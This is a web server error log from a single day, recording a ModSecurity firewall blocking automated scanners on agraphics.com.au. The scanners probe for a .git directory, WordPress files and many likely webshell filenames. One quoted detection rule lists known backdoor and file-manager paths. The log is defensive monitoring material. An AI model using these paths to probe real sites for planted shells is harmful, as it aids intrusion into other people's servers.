[Mon Mar 02 04:50:00.634289 2026] [:error] [pid 31257:tid 31266] [client 20.104.97.185:18937] [client 20.104.97.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaSmeP-JFLfishX45N_37wAAAQM"]
[Mon Mar 02 05:43:47.059174 2026] [:error] [pid 28795:tid 28870] [client 77.90.185.115:38212] [client 77.90.185.115] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aaSzE7ROd53wZBkdI_cdbgAAAIc"]
[Mon Mar 02 06:24:45.077141 2026] [:error] [pid 28908:tid 28911] [client 62.60.131.156:13333] [client 62.60.131.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.60.131.156, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaS8rYqJmC8ih_lQQnAoyAAAAME"]
[Mon Mar 02 06:24:45.088374 2026] [proxy_fcgi:error] [pid 28908:tid 28911] [client 62.60.131.156:13333] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:24:47.853673 2026] [:error] [pid 28908:tid 28930] [client 62.60.131.156:13333] [client 62.60.131.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaS8r4qJmC8ih_lQQnAo4gAAANQ"]
[Mon Mar 02 06:24:48.661615 2026] [:error] [pid 28795:tid 28875] [client 62.60.131.156:15575] [client 62.60.131.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaS8sLROd53wZBkdI_c13gAAAIw"]
[Mon Mar 02 06:24:49.152101 2026] [:error] [pid 28795:tid 28887] [client 62.60.131.156:15891] [client 62.60.131.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaS8sbROd53wZBkdI_c14QAAAJg"]
[Mon Mar 02 06:47:28.924277 2026] [proxy_fcgi:error] [pid 31257:tid 31267] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.015913 2026] [proxy_fcgi:error] [pid 31257:tid 31273] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.107155 2026] [proxy_fcgi:error] [pid 31257:tid 31280] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.290641 2026] [proxy_fcgi:error] [pid 31257:tid 31277] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.382111 2026] [proxy_fcgi:error] [pid 31257:tid 31272] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.474448 2026] [proxy_fcgi:error] [pid 31257:tid 31278] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.566578 2026] [proxy_fcgi:error] [pid 31257:tid 31266] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.657535 2026] [proxy_fcgi:error] [pid 31257:tid 31268] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.748381 2026] [proxy_fcgi:error] [pid 31257:tid 31282] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.839212 2026] [proxy_fcgi:error] [pid 31257:tid 31264] [client 20.205.226.191:9000] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 06:47:29.926239 2026] [:error] [pid 31257:tid 31270] [client 20.205.226.191:9000] [client 20.205.226.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaTCAf-JFLfishX45N9u2AAAAQc"]
[Mon Mar 02 06:47:30.281636 2026] [:error] [pid 28795:tid 28873] [client 20.205.226.191:8970] [client 20.205.226.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaTCArROd53wZBkdI_dFMwAAAIo"]
[Mon Mar 02 06:47:30.632762 2026] [:error] [pid 28908:tid 28917] [client 20.205.226.191:7339] [client 20.205.226.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaTCAoqJmC8ih_lQQnBKoAAAAMc"]
[Mon Mar 02 06:47:30.983594 2026] [:error] [pid 28908:tid 28914] [client 20.205.226.191:8070] [client 20.205.226.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaTCAoqJmC8ih_lQQnBKpAAAAMQ"]
[Mon Mar 02 08:37:22.851797 2026] [proxy_fcgi:error] [pid 28908:tid 28918] [client 74.243.251.125:12053] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:23.013464 2026] [:error] [pid 28908:tid 28921] [client 74.243.251.125:12053] [client 74.243.251.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "aaTbw4qJmC8ih_lQQnDTlQAAAMs"]
[Mon Mar 02 08:37:23.350805 2026] [proxy_fcgi:error] [pid 28795:tid 28878] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:23.692745 2026] [proxy_fcgi:error] [pid 28795:tid 28869] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:23.863200 2026] [proxy_fcgi:error] [pid 28795:tid 28865] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.033607 2026] [proxy_fcgi:error] [pid 28795:tid 28885] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.204762 2026] [proxy_fcgi:error] [pid 28795:tid 28887] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.377648 2026] [proxy_fcgi:error] [pid 28795:tid 28867] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.548655 2026] [proxy_fcgi:error] [pid 28795:tid 28872] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.724109 2026] [proxy_fcgi:error] [pid 28795:tid 28874] [client 74.243.251.125:12092] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 08:37:24.890792 2026] [:error] [pid 28795:tid 28884] [client 74.243.251.125:12092] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaTbxLROd53wZBkdI_eD1wAAAJU"]
[Mon Mar 02 08:37:25.291650 2026] [:error] [pid 23872:tid 23898] [client 74.243.251.125:12063] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaTbxUzkQFuA2qBk8UMhtQAAAZc"]
[Mon Mar 02 08:37:25.624405 2026] [:error] [pid 23872:tid 23878] [client 74.243.251.125:12109] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaTbxUzkQFuA2qBk8UMhtwAAAYM"]
[Mon Mar 02 08:37:25.946287 2026] [:error] [pid 21575:tid 21589] [client 74.243.251.125:12121] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as1337.php"] [unique_id "aaTbxSrocdArcJqFfIltSQAAAUo"]
[Mon Mar 02 08:37:26.278404 2026] [:error] [pid 23872:tid 23897] [client 74.243.251.125:12077] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaTbxkzkQFuA2qBk8UMhuwAAAZY"]
[Mon Mar 02 08:37:26.678768 2026] [:error] [pid 28908:tid 28917] [client 74.243.251.125:12120] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaTbxoqJmC8ih_lQQnDTpQAAAMc"]
[Mon Mar 02 08:37:27.011369 2026] [:error] [pid 21575:tid 21587] [client 74.243.251.125:12060] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaTbxyrocdArcJqFfIltTwAAAUg"]
[Mon Mar 02 08:37:27.334073 2026] [:error] [pid 23872:tid 23899] [client 74.243.251.125:12113] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aaTbx0zkQFuA2qBk8UMhxQAAAZg"]
[Mon Mar 02 08:37:27.687999 2026] [:error] [pid 21575:tid 21592] [client 74.243.251.125:12112] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTbxyrocdArcJqFfIltWAAAAU0"]
[Mon Mar 02 08:37:28.026657 2026] [:error] [pid 23872:tid 23887] [client 74.243.251.125:12042] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTbyEzkQFuA2qBk8UMhyQAAAYw"]
[Mon Mar 02 08:37:28.359126 2026] [:error] [pid 23872:tid 23882] [client 74.243.251.125:12152] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wolf-shell.php"] [unique_id "aaTbyEzkQFuA2qBk8UMhywAAAYc"]
[Mon Mar 02 08:37:28.772420 2026] [:error] [pid 23872:tid 23894] [client 74.243.251.125:12058] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaTbyEzkQFuA2qBk8UMhzgAAAZM"]
[Mon Mar 02 08:37:29.098955 2026] [:error] [pid 21575:tid 21591] [client 74.243.251.125:12064] [client 74.243.251.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php"] [unique_id "aaTbySrocdArcJqFfIltYQAAAUw"]
[Mon Mar 02 11:15:46.715980 2026] [proxy_fcgi:error] [pid 21575:tid 21581] [client 20.63.83.113:30526] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:46.931570 2026] [proxy_fcgi:error] [pid 21575:tid 21594] [client 20.63.83.113:30526] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:47.152724 2026] [proxy_fcgi:error] [pid 21575:tid 21599] [client 20.63.83.113:30526] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:47.367219 2026] [proxy_fcgi:error] [pid 21575:tid 21587] [client 20.63.83.113:30526] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:47.589653 2026] [:error] [pid 21575:tid 21593] [client 20.63.83.113:30526] [client 20.63.83.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaUA4yrocdArcJqFfInMyAAAAU4"]
[Mon Mar 02 11:15:53.694266 2026] [proxy_fcgi:error] [pid 28908:tid 28914] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:53.907594 2026] [proxy_fcgi:error] [pid 28908:tid 28920] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:56.536249 2026] [proxy_fcgi:error] [pid 28908:tid 28923] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:56.873469 2026] [proxy_fcgi:error] [pid 28908:tid 28919] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:57.089053 2026] [proxy_fcgi:error] [pid 28908:tid 28920] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:57.345748 2026] [proxy_fcgi:error] [pid 28908:tid 28918] [client 20.63.83.113:51289] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:15:57.576892 2026] [:error] [pid 28908:tid 28915] [client 20.63.83.113:51289] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xleet.php"] [unique_id "aaUA7YqJmC8ih_lQQnAWmAAAAMU"]
[Mon Mar 02 11:16:02.034190 2026] [:error] [pid 28795:tid 28872] [client 20.63.83.113:23529] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xleet.php"] [unique_id "aaUA8rROd53wZBkdI_e03AAAAIk"]
[Mon Mar 02 11:16:02.953642 2026] [:error] [pid 23872:tid 23899] [client 20.63.83.113:3225] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xleet.php"] [unique_id "aaUA8kzkQFuA2qBk8UPlbwAAAZg"]
[Mon Mar 02 11:16:05.096980 2026] [:error] [pid 23872:tid 23876] [client 20.63.83.113:26906] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Xleet.php"] [unique_id "aaUA9UzkQFuA2qBk8UPlkAAAAYE"]
[Mon Mar 02 11:16:07.592929 2026] [:error] [pid 21575:tid 21588] [client 20.63.83.113:23537] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fosil.php"] [unique_id "aaUA9yrocdArcJqFfInNbwAAAUk"]
[Mon Mar 02 11:16:08.950401 2026] [:error] [pid 21575:tid 21603] [client 20.63.83.113:51286] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fosil.php"] [unique_id "aaUA-CrocdArcJqFfInNewAAAVg"]
[Mon Mar 02 11:16:23.396838 2026] [:error] [pid 28795:tid 28865] [client 20.63.83.113:56543] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/issue.php"] [unique_id "aaUBB7ROd53wZBkdI_e08QAAAII"]
[Mon Mar 02 11:16:27.597476 2026] [:error] [pid 21575:tid 21600] [client 20.63.83.113:56573] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/issue.php"] [unique_id "aaUBCyrocdArcJqFfInNzQAAAVU"]
[Mon Mar 02 11:16:34.530836 2026] [:error] [pid 28908:tid 28917] [client 20.63.83.113:27965] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/issue.php"] [unique_id "aaUBEoqJmC8ih_lQQnAXpAAAAMc"]
[Mon Mar 02 11:16:36.549675 2026] [:error] [pid 28908:tid 28922] [client 20.63.83.113:4032] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/issue.php"] [unique_id "aaUBFIqJmC8ih_lQQnAXuQAAAMw"]
[Mon Mar 02 11:16:38.924277 2026] [:error] [pid 14466:tid 14472] [client 20.63.83.113:3316] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/verify.php"] [unique_id "aaUBFv8w-ahEIiUSqM5C7AAAAcQ"]
[Mon Mar 02 11:16:41.222952 2026] [:error] [pid 28908:tid 28923] [client 20.63.83.113:24932] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/verify.php"] [unique_id "aaUBGYqJmC8ih_lQQnAX5gAAAM0"]
[Mon Mar 02 11:16:42.608659 2026] [:error] [pid 31257:tid 31271] [client 20.63.83.113:3236] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/verify.php"] [unique_id "aaUBGv-JFLfishX45N9QQQAAAQg"]
[Mon Mar 02 11:16:48.538670 2026] [:error] [pid 21575:tid 21602] [client 20.63.83.113:24155] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/verify.php"] [unique_id "aaUBICrocdArcJqFfInOGAAAAVc"]
[Mon Mar 02 11:16:51.858984 2026] [:error] [pid 28908:tid 28931] [client 20.63.83.113:4082] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaUBI4qJmC8ih_lQQnAYOgAAANU"]
[Mon Mar 02 11:16:55.374842 2026] [:error] [pid 21575:tid 21602] [client 20.63.83.113:46162] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/29rc7ExgS6p.php"] [unique_id "aaUBJyrocdArcJqFfInOMwAAAVc"]
[Mon Mar 02 11:16:58.921020 2026] [proxy_fcgi:error] [pid 28908:tid 28924] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:16:59.142519 2026] [proxy_fcgi:error] [pid 28908:tid 28927] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:16:59.352691 2026] [proxy_fcgi:error] [pid 28908:tid 28926] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:16:59.570665 2026] [proxy_fcgi:error] [pid 28908:tid 28934] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:16:59.795591 2026] [proxy_fcgi:error] [pid 28908:tid 28915] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:00.006906 2026] [proxy_fcgi:error] [pid 28908:tid 28928] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:00.231786 2026] [proxy_fcgi:error] [pid 28908:tid 28930] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:00.457738 2026] [proxy_fcgi:error] [pid 28908:tid 28924] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:00.669515 2026] [proxy_fcgi:error] [pid 28908:tid 28913] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:00.886240 2026] [proxy_fcgi:error] [pid 28908:tid 28933] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:01.097012 2026] [proxy_fcgi:error] [pid 28908:tid 28923] [client 20.63.83.113:24950] AH01071: Got error 'Primary script unknown'
[Mon Mar 02 11:17:01.313648 2026] [:error] [pid 28908:tid 28915] [client 20.63.83.113:24950] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-cache.php"] [unique_id "aaUBLYqJmC8ih_lQQnAYtQAAAMU"]
[Mon Mar 02 11:17:56.826912 2026] [:error] [pid 21575:tid 21579] [client 20.63.83.113:43411] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "aaUBZCrocdArcJqFfInPlwAAAUA"]
